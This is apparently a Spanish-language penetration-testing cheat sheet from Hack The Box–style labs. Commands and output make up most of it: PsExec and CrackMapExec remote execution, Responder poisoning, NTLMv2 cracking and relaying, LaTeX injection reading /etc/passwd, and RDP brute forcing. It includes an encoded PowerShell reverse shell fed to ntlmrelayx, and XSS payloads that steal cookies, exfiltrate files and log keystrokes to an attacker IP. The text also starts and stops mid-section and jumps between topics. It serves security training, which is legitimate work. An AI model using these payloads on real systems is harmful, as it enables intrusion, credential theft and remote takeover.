[-target-ip ip address] [-port [destination port]] [-service-name service_name] [-remote-binary-name remote_binary_name]
target [command ...]
PSEXEC like functionality example using RemComSvc.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
command command (or arguments if -c is used) to execute at the target (w/o path) - (default:cmd.exe)
optional arguments:
-h, --help show this help message and exit
-c pathname copy the filename for later execution, arguments are passed in the command option
-path PATH path of the command to execute
-file FILE alternative RemCom binary (be sure it doesn't require CRT)
-ts adds timestamp to every logging output
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the
ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-keytab KEYTAB Read keys for SPN from keytab file
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve
it
-port [destination port]
Destination port to connect to SMB Server
-service-name service_name
The name of the service used to trigger the payload
-remote-binary-name remote_binary_name
This will be the name of the executable uploaded on the target
gzzcoo@htb[/htb]$ impacket-psexec administrator:'Password123!'@10.10.110.17
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.110.17.....
[*] Found writable share ADMIN$
[*] Uploading file EHtJXgng.exe
[*] Opening SVCManager on 10.10.110.17.....
[*] Creating service nbAc on 10.10.110.17.....
[*] Starting service nbAc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19041.1415]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami && hostname
nt authority\system
WIN7BOX
gzzcoo@htb[/htb]$ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:.) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [+] .\Administrator:Password123! (Pwn3d!)
SMB 10.10.110.17 445 WIN7BOX [+] Executed command via smbexec
SMB 10.10.110.17 445 WIN7BOX nt authority\system
gzzcoo@htb[/htb]$ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
SMB 10.10.110.17 445 WIN7BOX [*] Windows 10.0 Build 19041 (name:WIN7BOX) (domain:.) (signing:False) (SMBv1:False)
SMB 10.10.110.17 445 WIN7BOX [+] .\Administrator:Password123! (Pwn3d!)
SMB 10.10.110.17 445 WIN7BOX [+] Executed command via smbexec
SMB 10.10.110.17 445 WIN7BOX nt authority\system
gzzcoo@htb[/htb]$ responder -I <interface name>
gzzcoo@htb[/htb]$ sudo responder -I ens33
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.198]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-2TY1Z1CIGXH]
Responder Domain Name [HF2L.LOCAL]
Responder DCE-RPC Port [48162]
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Domain Master Browser)
[*] [NBT-NS] Poisoned answer sent to 10.10.110.17 for name WORKGROUP (service: Browser Election)
[*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local
[*] [LLMNR] Poisoned answer sent to 10.10.110.17 for name mysharefoder
[*] [MDNS] Poisoned answer sent to 10.10.110.17 for name mysharefoder.local
[SMB] NTLMv2-SSP Client : 10.10.110.17
[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000
gzzcoo@htb[/htb]$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344386
* Bytes.....: 139921355
* Keyspace..: 14344386
ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:3cc46296b0ccfc7a231d918ae1dae521:0101000000000000b09b51939ba6d40140c54ed46ad58e890000000002000e004e004f004d00410054004300480001000a0053004d0042003100320004000a0053004d0042003100320003000a0053004d0042003100320005000a0053004d0042003100320008003000300000000000000000000000003000004289286eda193b087e214f3e16e2be88fec5d9ff73197456c9a6861ff5b5d3330000000000000000:P@ssword
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:3cc...000000
Time.Started.....: Mon Apr 11 16:49:34 2022 (1 sec)
Time.Estimated...: Mon Apr 11 16:49:35 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1122.4 kH/s (1.34ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 75776/14344386 (0.53%)
Rejected.........: 0/75776 (0.00%)
Restore.Point....: 73728/14344386 (0.51%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: compu -> kodiak1
Started: Mon Apr 11 16:49:34 2022
Stopped: Mon Apr 11 16:49:37 2022
gzzcoo@htb[/htb]$ cat /etc/responder/Responder.conf | grep 'SMB ='
SMB = Off
gzzcoo@htb[/htb]$ impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
<SNIP>
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server
[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, attacking target smb://10.10.110.146
[*] Authenticating against smb://10.10.110.146 as /ADMINISTRATOR SUCCEED
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, but there are no more targets left!
[*] SMBD-Thread-5: Connection from /ADMINISTRATOR@10.10.110.1 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xeb0432b45874953711ad55884094e9d4
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:92512f2605074cfc341a7f16e5fabf08:::
demouser:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1001:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Done dumping SAM hashes for host: 10.10.110.146
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
gzzcoo@htb[/htb]$ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADIAMgAwAC4AMQAzADMAIgAsADkAMAAwADEAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'
gzzcoo@htb[/htb]$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.110.133] from (UNKNOWN) [10.10.110.146] 52471
PS C:\Windows\system32> whoami;hostname
nt authority\system
WIN11BOX
Las inyecciones LaTeX son un tipo de ataque que se aprovecha de las vulnerabilidades en las aplicaciones web que permiten a los usuarios ingresar texto formateado en LaTeX. LaTeX es un sistema de composición de textos que se utiliza comúnmente en la escritura académica y científica.
Los ataques de inyección LaTeX ocurren cuando un atacante ingresa código LaTeX malicioso en un campo de entrada de texto que luego se procesa en una aplicación web. El código LaTeX puede ser diseñado para aprovechar vulnerabilidades en la aplicación y ejecutar código malicioso en el servidor.
Un ejemplo de una inyección LaTeX podría ser un ataque que aprovecha la capacidad de LaTeX para incluir gráficos y archivos en una aplicación web. Un atacante podría enviar un código LaTeX que incluya un enlace a un archivo malicioso, como un virus o un troyano, que podría infectar el servidor o los sistemas de la red.
Para evitar las inyecciones LaTeX, las aplicaciones web deben validar y limpiar adecuadamente los datos que se reciben antes de procesarlos en LaTeX. Esto incluye la eliminación de caracteres especiales y la limitación de los comandos que pueden ser ejecutados en LaTeX.
También es importante que las aplicaciones web se ejecuten con privilegios mínimos en la red y que se monitoreen regularmente las actividades de la aplicación para detectar posibles inyecciones. Además, se debe fomentar la educación sobre la seguridad en el uso de LaTeX y cómo evitar la introducción de código malicioso.
Leer primera línea de un archivo
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file
Leer múltiples lineas de un archivo
\lstinputlisting{/etc/passwd}
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
\lstinputlisting{/etc/passwd}
$\lstinputlisting{/etc/passwd}$
Una vulnerabilidad XSS (Cross-Site Scripting) es un tipo de vulnerabilidad de seguridad informática que permite a un atacante ejecutar código malicioso en la página web de un usuario sin su conocimiento o consentimiento. Esta vulnerabilidad permite al atacante robar información personal, como nombres de usuario, contraseñas y otros datos confidenciales.
En esencia, un ataque XSS implica la inserción de código malicioso en una página web vulnerable, que luego se ejecuta en el navegador del usuario que accede a dicha página. El código malicioso puede ser cualquier cosa, desde scripts que redirigen al usuario a otra página, hasta secuencias de comandos que registran pulsaciones de teclas o datos de formularios y los envían a un servidor remoto.
Existen varios tipos de vulnerabilidades XSS, incluyendo las siguientes:
Reflejado (Reflected): Este tipo de XSS se produce cuando los datos proporcionados por el usuario se reflejan en la respuesta HTTP sin ser verificados adecuadamente. Esto permite a un atacante inyectar código malicioso en la respuesta, que luego se ejecuta en el navegador del usuario.
Almacenado (Stored): Este tipo de XSS se produce cuando un atacante es capaz de almacenar código malicioso en una base de datos o en el servidor web que aloja una página web vulnerable. Este código se ejecuta cada vez que se carga la página.
DOM-Based: Este tipo de XSS se produce cuando el código malicioso se ejecuta en el navegador del usuario a través del DOM (Modelo de Objetos del Documento). Esto se produce cuando el código JavaScript en una página web modifica el DOM en una forma que es vulnerable a la inyección de código malicioso.
Los ataques XSS pueden tener graves consecuencias para las empresas y los usuarios individuales. Por esta razón, es esencial que los desarrolladores web implementen medidas de seguridad adecuadas para prevenir vulnerabilidades XSS. Estas medidas pueden incluir la validación de datos de entrada, la eliminación de código HTML peligroso, y la limitación de los permisos de JavaScript en el navegador del usuario.
Cookie Hijacking
<script>fetch("http://10.10.x.x/?value=" + document.cookie);</script>
Data Exfiltration
<a href="javascript:fetch('http://localhost/README.md').then(response => response.text()).then(data => fetch('http://10.10.x.x/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">gzzcoo</a>
<script>
fetch("http://10.10.10.10/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.x.x/?file_content=" + encodeURIComponent(data));
});
</script>
Keylogger
<script>
var k = "";
document.onkeypress = function(e){
e = e || window.event;
k += e.key;
var i = new Image();
i.src = "http://10.10.x.x/" + k;
}
</script>
John the Ripper (JTR o john) es una herramienta de pentesting esencial que se utiliza para comprobar la fortaleza de las contraseñas y descifrar contraseñas cifradas (o con hash) mediante ataques de fuerza bruta o de diccionario. . La variante «Jumbo» se recomienda a los profesionales de la seguridad, ya que cuenta con optimizaciones de rendimiento y funciones adicionales como listas de palabras multilingües y compatibilidad con arquitecturas de 64 bits. Esta versión es más eficaz a la hora de descifrar contraseñas con mayor precisión y rapidez.
Con ella, podemos utilizar varias herramientas para convertir distintos tipos de archivos y hashes a un formato utilizable por John. Además, el software se actualiza periódicamente para mantenerse al día con las tendencias y tecnologías de seguridad actuales, garantizando la seguridad del usuario.
En este método se utiliza una lista predefinida de palabras y frases—lo que llamamos "diccionario"—para descifrar contraseñas. Esta lista puede provenir de diccionarios públicos, contraseñas filtradas o incluso comprarse a proveedores especializados. El proceso consiste en generar cadenas a partir del diccionario y compararlas con los hashes de las contraseñas; si se encuentra coincidencia, la contraseña se revela, permitiendo al atacante acceder al sistema y sus datos. Por eso, es crucial emplear contraseñas complejas, cambiarlas con regularidad y aplicar autenticación de dos factores.
Este método consiste en probar todas las combinaciones posibles de caracteres para encontrar la contraseña correcta. Aunque es muy exhaustivo y lento, se recurre a él cuando no hay otras alternativas. Cuanto mayor y más compleja sea la contraseña, más tiempo llevará descifrarla, por lo que se recomienda que tenga al menos 8 caracteres, combinando letras, números y símbolos.
Este enfoque utiliza tablas pre-calculadas que relacionan hashes con sus contraseñas en texto claro, lo que acelera el proceso en comparación con la fuerza bruta. Sin embargo, su efectividad depende del tamaño de la tabla: una tabla más grande abarca más contraseñas, pero solo sirve para descifrar aquellos hashes que ya estén incluidos. Si el hash no figura en la tabla, el método no será útil.
El Single Crack Mode
de John the Ripper es un método popular que utiliza una única lista de contraseñas para realizar un ataque de fuerza bruta. En esencia, el programa recorre cada palabra de la lista de manera secuencial hasta encontrar la que coincida con el hash de la contraseña. Aunque es un método muy directo y fácil de implementar, su eficiencia depende de la complejidad de la contraseña y del contenido de la lista, lo que puede hacer que el proceso se prolongue considerablemente.
La sintaxis básica es:
gzzcoo@htb[/nobody]$ john --format=<hash_type> <hash or hash_file>
Por ejemplo, para un archivo llamado hashes_to_crack.txt
con hashes SHA-256, el comando sería:
gzzcoo@htb[/nobody]$ john --format=sha256 hashes_to_crack.txt
Al iniciar el proceso, John compara cada hash con las palabras de su lista incorporada o con las adicionales que se especifiquen mediante la opción --wordlist
, y puede usar reglas (--rules
) para generar candidatos adicionales. Aunque este método es sencillo, su éxito depende de que la contraseña se encuentre o se pueda generar a partir de la lista; de lo contrario, el ataque podría no dar resultado.
Los hashes descifrados se muestran en la consola y se guardan en el archivo john.pot
(usualmente en ~/.john/john.pot
), y el proceso continúa en segundo plano, permitiendo verificar el progreso con john --show
. Para aumentar las probabilidades de éxito, es crucial emplear wordlists y reglas lo más completas y actualizadas posible.
El Wordlist Mode
se emplea para descifrar contraseñas utilizando varias listas de palabras. Funciona como un ataque de diccionario, donde se prueban, una tras otra, todas las palabras de las listas hasta hallar la que coincida. Este método resulta ideal para atacar múltiples hashes de contraseñas con una o varias wordlists, siendo más efectivo que el Modo de Crackeo Simple gracias a su mayor cantidad de palabras, aunque sigue siendo una técnica bastante básica.
La sintaxis básica es:
gzzcoo@htb[/nobody]$ john --wordlist=<wordlist_file> --rules <hash_file>
Primero, se indica el archivo (o archivos) que contiene la lista de palabras, en formato de texto plano (una palabra por línea), pudiendo especificarse varias separándolas con comas. Después, se puede aplicar un conjunto de reglas o las transformaciones predefinidas para modificar las palabras de la lista—por ejemplo, agregando números, cambiando mayúsculas o añadiendo caracteres especiales—para generar candidatos adicionales.
El modo incremental en John the Ripper es una opción avanzada que genera sobre la marcha todas las combinaciones posibles a partir de un conjunto de caracteres. Este método, que parte de contraseñas de un solo carácter e incrementa la longitud progresivamente, es muy eficaz pero también puede ser muy exigente en recursos y tiempo, dependiendo de la complejidad de la contraseña, la configuración de la máquina y el tamaño del conjunto de caracteres.
A diferencia del modo wordlist, que utiliza listas predefinidas, el modo incremental crea las conjeturas al instante, lo que lo hace ideal para probar contraseñas débiles o cuando se tiene una idea aproximada de su estructura. Por otro lado, el modo single crack se centra en comparar una única contraseña contra un hash.
La sintaxis para usar este modo es:
gzzcoo@htb[/nobody]$ john --incremental <hash_file>
Este comando lee los hashes del archivo especificado y empieza a probar todas las combinaciones posibles, comenzando por las de menor longitud. Cabe destacar que, por defecto, el conjunto de caracteres se limita a a-z, A-Z y 0-9, por lo que para contraseñas más complejas que incluyan caracteres especiales, será necesario configurar un conjunto personalizado.
También se puede descifrar archivos protegidos o encriptados utilizando John. Para ello, se emplean herramientas auxiliares que procesan el archivo y extraen los hashes en un formato que John puede utilizar. Estas herramientas detectan automáticamente el formato del archivo y generan el hash correspondiente. Un ejemplo de cómo hacerlo es el siguiente:
cry0l1t3@htb:~$ <tool> <file_to_crack> > file.hash
cry0l1t3@htb:~$ pdf2john server_doc.pdf > server_doc.hash
cry0l1t3@htb:~$ john server_doc.hash
# OR
cry0l1t3@htb:~$ john --wordlist=<wordlist.txt> server_doc.hash
Además, podemos utilizar diferentes modos para ello con nuestras listas de palabras y reglas personales. Hemos creado una lista que incluye muchas, pero no todas, las herramientas que se pueden utilizar para John. Modules
afs
john --format=afs hashes_to_crack.txt
AFS (Andrew File System) password hashes
bfegg
john --format=bfegg hashes_to_crack.txt
bfegg hashes used in Eggdrop IRC bots
bf
john --format=bf hashes_to_crack.txt
Blowfish-based crypt(3) hashes
bsdi
john --format=bsdi hashes_to_crack.txt
BSDi crypt(3) hashes
crypt(3)
john --format=crypt hashes_to_crack.txt
Traditional Unix crypt(3) hashes
des
john --format=des hashes_to_crack.txt
Traditional DES-based crypt(3) hashes
dmd5
john --format=dmd5 hashes_to_crack.txt
DMD5 (Dragonfly BSD MD5) password hashes
dominosec
john --format=dominosec hashes_to_crack.txt
IBM Lotus Domino 6/7 password hashes
EPiServer SID hashes
john --format=episerver hashes_to_crack.txt
EPiServer SID (Security Identifier) password hashes
hdaa
john --format=hdaa hashes_to_crack.txt
hdaa password hashes used in Openwall GNU/Linux
hmac-md5
john --format=hmac-md5 hashes_to_crack.txt
hmac-md5 password hashes
hmailserver
john --format=hmailserver hashes_to_crack.txt
hmailserver password hashes
ipb2
john --format=ipb2 hashes_to_crack.txt
Invision Power Board 2 password hashes
krb4
john --format=krb4 hashes_to_crack.txt
Kerberos 4 password hashes
krb5
john --format=krb5 hashes_to_crack.txt
Kerberos 5 password hashes
LM
john --format=LM hashes_to_crack.txt
LM (Lan Manager) password hashes
lotus5
john --format=lotus5 hashes_to_crack.txt
Lotus Notes/Domino 5 password hashes
mscash
john --format=mscash hashes_to_crack.txt
MS Cache password hashes
mscash2
john --format=mscash2 hashes_to_crack.txt
MS Cache v2 password hashes
mschapv2
john --format=mschapv2 hashes_to_crack.txt
MS CHAP v2 password hashes
mskrb5
john --format=mskrb5 hashes_to_crack.txt
MS Kerberos 5 password hashes
mssql05
john --format=mssql05 hashes_to_crack.txt
MS SQL 2005 password hashes
mssql
john --format=mssql hashes_to_crack.txt
MS SQL password hashes
mysql-fast
john --format=mysql-fast hashes_to_crack.txt
MySQL fast password hashes
mysql
john --format=mysql hashes_to_crack.txt
MySQL password hashes
mysql-sha1
john --format=mysql-sha1 hashes_to_crack.txt
MySQL SHA1 password hashes
NETLM
john --format=netlm hashes_to_crack.txt
NETLM (NT LAN Manager) password hashes
NETLMv2
john --format=netlmv2 hashes_to_crack.txt
NETLMv2 (NT LAN Manager version 2) password hashes
NETNTLM
john --format=netntlm hashes_to_crack.txt
NETNTLM (NT LAN Manager) password hashes
NETNTLMv2
john --format=netntlmv2 hashes_to_crack.txt
NETNTLMv2 (NT LAN Manager version 2) password hashes
NEThalfLM
john --format=nethalflm hashes_to_crack.txt
NEThalfLM (NT LAN Manager) password hashes
md5ns
john --format=md5ns hashes_to_crack.txt
md5ns (MD5 namespace) password hashes
nsldap
john --format=nsldap hashes_to_crack.txt
nsldap (OpenLDAP SHA) password hashes
ssha
john --format=ssha hashes_to_crack.txt
ssha (Salted SHA) password hashes
NT
john --format=nt hashes_to_crack.txt
NT (Windows NT) password hashes
openssha
john --format=openssha hashes_to_crack.txt
OPENSSH private key password hashes
oracle11
john --format=oracle11 hashes_to_crack.txt
Oracle 11 password hashes
oracle
john --format=oracle hashes_to_crack.txt
Oracle password hashes
john --format=pdf hashes_to_crack.txt
PDF (Portable Document Format) password hashes
phpass-md5
john --format=phpass-md5 hashes_to_crack.txt
PHPass-MD5 (Portable PHP password hashing framework) password hashes
phps
john --format=phps hashes_to_crack.txt
PHPS password hashes
pix-md5
john --format=pix-md5 hashes_to_crack.txt
Cisco PIX MD5 password hashes
po
john --format=po hashes_to_crack.txt
Po (Sybase SQL Anywhere) password hashes
rar
john --format=rar hashes_to_crack.txt
RAR (WinRAR) password hashes
raw-md4
john --format=raw-md4 hashes_to_crack.txt
Raw MD4 password hashes
raw-md5
john --format=raw-md5 hashes_to_crack.txt
Raw MD5 password hashes
raw-md5-unicode
john --format=raw-md5-unicode hashes_to_crack.txt
Raw MD5 Unicode password hashes
raw-sha1
john --format=raw-sha1 hashes_to_crack.txt
Raw SHA1 password hashes
raw-sha224
john --format=raw-sha224 hashes_to_crack.txt
Raw SHA224 password hashes
raw-sha256
john --format=raw-sha256 hashes_to_crack.txt
Raw SHA256 password hashes
raw-sha384
john --format=raw-sha384 hashes_to_crack.txt
Raw SHA384 password hashes
raw-sha512
john --format=raw-sha512 hashes_to_crack.txt
Raw SHA512 password hashes
salted-sha
john --format=salted-sha hashes_to_crack.txt
Salted SHA password hashes
sapb
john --format=sapb hashes_to_crack.txt
SAP CODVN B (BCODE) password hashes
sapg
john --format=sapg hashes_to_crack.txt
SAP CODVN G (PASSCODE) password hashes
sha1-gen
john --format=sha1-gen hashes_to_crack.txt
Generic SHA1 password hashes
skey
john --format=skey hashes_to_crack.txt
S/Key (One-time password) hashes
ssh
john --format=ssh hashes_to_crack.txt
SSH (Secure Shell) password hashes
sybasease
john --format=sybasease hashes_to_crack.txt
Sybase ASE password hashes
xsha
john --format=xsha hashes_to_crack.txt
xsha (Extended SHA) password hashes
zip
john --format=zip hashes_to_crack.txt
ZIP (WinZip) password hashes
pdf2john
Converts PDF documents for John
ssh2john
Converts SSH private keys for John
mscash2john
Converts MS Cash hashes for John
keychain2john
Converts OS X keychain files for John
rar2john
Converts RAR archives for John
pfx2john
Converts PKCS#12 files for John
truecrypt_volume2john
Converts TrueCrypt volumes for John
keepass2john
Converts KeePass databases for John
vncpcap2john
Converts VNC PCAP files for John
putty2john
Converts PuTTY private keys for John
zip2john
Converts ZIP archives for John
hccap2john
Converts WPA/WPA2 handshake captures for John
office2john
Converts MS Office documents for John
wpa2john
Converts WPA/WPA2 handshakes for John
❯ locate '*2john*'
/usr/bin/1password2john
/usr/bin/7z2john
/usr/bin/DPAPImk2john
/usr/bin/adxcsouf2john
/usr/bin/aem2john
/usr/bin/aix2john
/usr/bin/andotp2john
/usr/bin/androidbackup2john
/usr/bin/androidfde2john
/usr/bin/ansible2john
/usr/bin/apex2john
...[SNIP]...
Se trata de una herramienta con múltiples opciones que permite enumerar los recursos compartidos de un servicio SMB/Samba, ver los contenidos y permisos de unidades compartidas, descargar y subir ficheros e incluso, si las condiciones son las adecuadas, permite la ejecución de comandos.
# Enumeración de recursos compartidos y permisos sobre ellos (Usuario del dominio)
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d domain.htb
# Enumeración de recursos compartidos y permisos sobre ellos (Usuario local)
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d WORKGROUP
# Enumeración de recursos compartidos con autenticación de Kerberos
smbmap -H 10.10.10.10 --no-banner -u 'user' -k --no-pass -d domain.htb -dc-ip 10.10.10.10
# Enumerar el contenido de un recurso compartido/directorio
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d <DOMAIN-WORKGROUP> -r 'resource/'
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d <DOMAIN-WORKGROUP> --download 'resource/archivo.txt'
gzzcoo@htb[/htb]# nmap -Pn -p3389 192.168.2.143
Host discovery disabled (-Pn). All addresses will be marked 'up', and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 04:20 BST
Nmap scan report for 192.168.2.143
Host is up (0.00037s latency).
PORT STATE SERVICE
3389/tcp open ms-wbt-server
gzzcoo@htb[/htb]$ rdesktop -u admin -p password123 192.168.2.143
Autoselecting keyboard map 'en-us' from locale
ATTENTION! The server uses an invalid security certificate which can not be trusted for
the following identified reasons(s);
1. Certificate issuer is not trusted by this system.
Issuer: CN=WIN-Q8F2KTAI43A
Review the following certificate info before you trust it to be added as an exception.
If you do not trust the certificate, the connection atempt will be aborted:
Subject: CN=WIN-Q8F2KTAI43A
Issuer: CN=WIN-Q8F2KTAI43A
Valid From: Tue Aug 24 04:20:17 2021
To: Wed Feb 23 03:20:17 2022
Certificate fingerprints:
sha1: cd43d32dc8e6b4d2804a59383e6ee06fefa6b12a
sha256: f11c56744e0ac983ad69e1184a8249a48d0982eeb61ec302504d7ffb95ed6e57
Do you trust this certificate (yes/no)? yes
xfreerdp /v:"10.10.10.10" /u:'user' /p:'password' /dynamic-resolution
xfreerdp3 /v:"10.10.10.10" /u:'user' /p:'password' +dynamic-resolution
gzzcoo@htb[/htb]$ cat usernames.txt
root
test
user
guest
admin
administrator
gzzcoo@htb[/htb]$ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
2022-04-07 15:35:50 START
2022-04-07 15:35:50 Crowbar v0.4.1
2022-04-07 15:35:50 Trying 192.168.220.142:3389
2022-04-07 15:35:52 RDP-SUCCESS : 192.168.220.142:3389 - administrator:password123
2022-04-07 15:35:52 STOP
gzzcoo@htb[/htb]$ hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-25 21:44:52
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8 login tries (l:2/p:4), ~2 tries per task
[DATA] attacking rdp://192.168.2.147:3389/
